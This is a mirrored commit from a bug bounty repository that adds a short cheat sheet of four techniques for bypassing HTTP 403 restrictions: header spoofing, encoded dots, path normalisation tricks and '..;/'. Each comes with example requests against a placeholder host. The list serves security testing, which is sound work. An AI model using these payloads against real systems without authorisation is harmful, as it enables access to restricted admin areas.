mirror of
https://github.com/daffainfo/AllAboutBugBounty.git
synced 2025-02-23 15:04:44 +00:00
Bypass 403 [1]
Create how to bypass 403 Code and add 4 tips
This commit is contained in:
parent
89f37732a2
commit
4c32ea9202
42
Bypass403.md
Normal file
42
Bypass403.md
Normal file
@ -0,0 +1,42 @@
|
|||||||
|
# 403 Forbidden Bypass
|
||||||
|
|
||||||
|
1. Using "X-Original-URL" header
|
||||||
|
```
|
||||||
|
GET /admin HTTP/1.1
|
||||||
|
Host: target.com
|
||||||
|
```
|
||||||
|
Try this to bypass
|
||||||
|
```
|
||||||
|
GET /anything HTTP/1.1
|
||||||
|
Host: target.com
|
||||||
|
X-Original-URL: /admin
|
||||||
|
```
|
||||||
|
|
||||||
|
2. Appending **%2e** after the first slash
|
||||||
|
```
|
||||||
|
http://target.com/admin => 403
|
||||||
|
```
|
||||||
|
Try this to bypass
|
||||||
|
```
|
||||||
|
http://target.com/%2e/admin => 200
|
||||||
|
```
|
||||||
|
|
||||||
|
3. Try add dot (.) and slash (/) in the URL
|
||||||
|
```
|
||||||
|
http://target.com/admin => 403
|
||||||
|
```
|
||||||
|
Try this to bypass
|
||||||
|
```
|
||||||
|
http://target.com/admin/. => 200
|
||||||
|
http://target.com//admin// => 200
|
||||||
|
http://target.com/./admin/./ => 200
|
||||||
|
```
|
||||||
|
|
||||||
|
4. Add "..;/" after the directory name
|
||||||
|
```
|
||||||
|
http://target.com/admin
|
||||||
|
```
|
||||||
|
Try this to bypass
|
||||||
|
```
|
||||||
|
http://target.com/admin..;/
|
||||||
|
```
|
Loading…
Reference in New Issue
Block a user